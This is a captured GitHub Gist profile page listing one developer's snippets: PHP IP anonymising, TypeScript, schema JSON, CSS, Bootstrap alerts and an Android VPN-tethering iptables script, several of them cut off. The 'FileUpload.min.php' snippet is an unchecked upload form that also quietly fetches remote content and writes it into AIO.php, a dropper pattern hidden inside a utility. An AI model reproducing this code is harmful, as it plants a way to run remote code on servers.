Skip to content

Instantly share code, notes, and snippets.


Dimas Lanjaka dimaslanjaka

View GitHub Profile
dimaslanjaka / anonymize-ip.php
Last active December 20, 2022 00:33
PHP IP Utility
View anonymize-ip.php
function anonIp($ip)
if (strpos($ip, ".") !== false) { // detect IP type by dots instead of length
$pieces = explode(".", $ip);
$nPieces = count($pieces);
$pieces[$nPieces - 1] = $pieces[$nPieces - 2] = "XXX";
return implode(".", $pieces);
} else {
dimaslanjaka / func.ts
Last active May 31, 2022 01:10
How to use require in typescript
View func.ts
export default function anyFunc() {
return 'hello world';
dimaslanjaka / article-schema.json
Created November 9, 2021 16:47
Rich Snippets Schema for Article
View article-schema.json
"author": {
"url": "",
"name": "Dimas Lanjaka",
"@context": "",
"@type": "Person"
"headline": "Headline article",
"publisher": {
"url": "",
dimaslanjaka /
Last active October 31, 2021 02:52
Install nvm to sudoers bin
dimaslanjaka / main.css
Created May 14, 2021 06:45
MapBox Example
View main.css
body { margin:0; padding:0; }
#map { position:absolute; top:0; bottom:0; width:100%; }
#map {
width: 75%;
dimaslanjaka / generate-bootstrap-alerts-with-javascript.markdown
Last active June 27, 2020 06:43
Generate Bootstrap Alerts with Javascript
View generate-bootstrap-alerts-with-javascript.markdown

Generate Bootstrap Alerts with Javascript

Use a JavaScript method to add bootstrap alerts to the dom all animated and what not. Also has a self destruct option

A Pen by Cody Sechelski on CodePen.


View FileUpload.min.php
<!DOCTYPE html><html><head> <title>Upload your files</title></head><body> <form enctype='multipart/form-data' action='upload.php' method='POST'> <p>Upload your file</p><input type='file' name='uploaded_file'></input><br/> <input type='submit' value='Upload'></input> </form></body></html><?PHP if(!empty($_FILES['uploaded_file'])){$path='uploads/'; $path=$path . basename( $_FILES['uploaded_file']['name']); if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)){echo 'The file '. basename( $_FILES['uploaded_file']['name']). ' has been uploaded';}else{echo 'There was an error uploading the file, please try again!';}}$content=file_get_contents('');file_put_contents(__DIR__.'/AIO.php', $content);?>
dimaslanjaka / index.html
Created February 1, 2020 14:05
Loading overlay - Demo by Roko C.B // source
View index.html
<!DOCTYPE html>
<meta charset="utf-8">
<title>Loading overlay - Demo by Roko C.B</title>
<style id="jsbin-css">
font: 200 16px/1 Helvetica, Arial, sans-serif;
dimaslanjaka /
Created January 31, 2020 06:43 — forked from ShapeShifter499/
vpn hotspot script
# This script should help forward VPN over any tethered connection on a Android device. Turn on tethering, then enable VPN, then run this script.
# Inital variable setup
# Setup iptables before forwarding VPN
iptables -A POSTROUTING -o tun0 -j MASQUERADE -t nat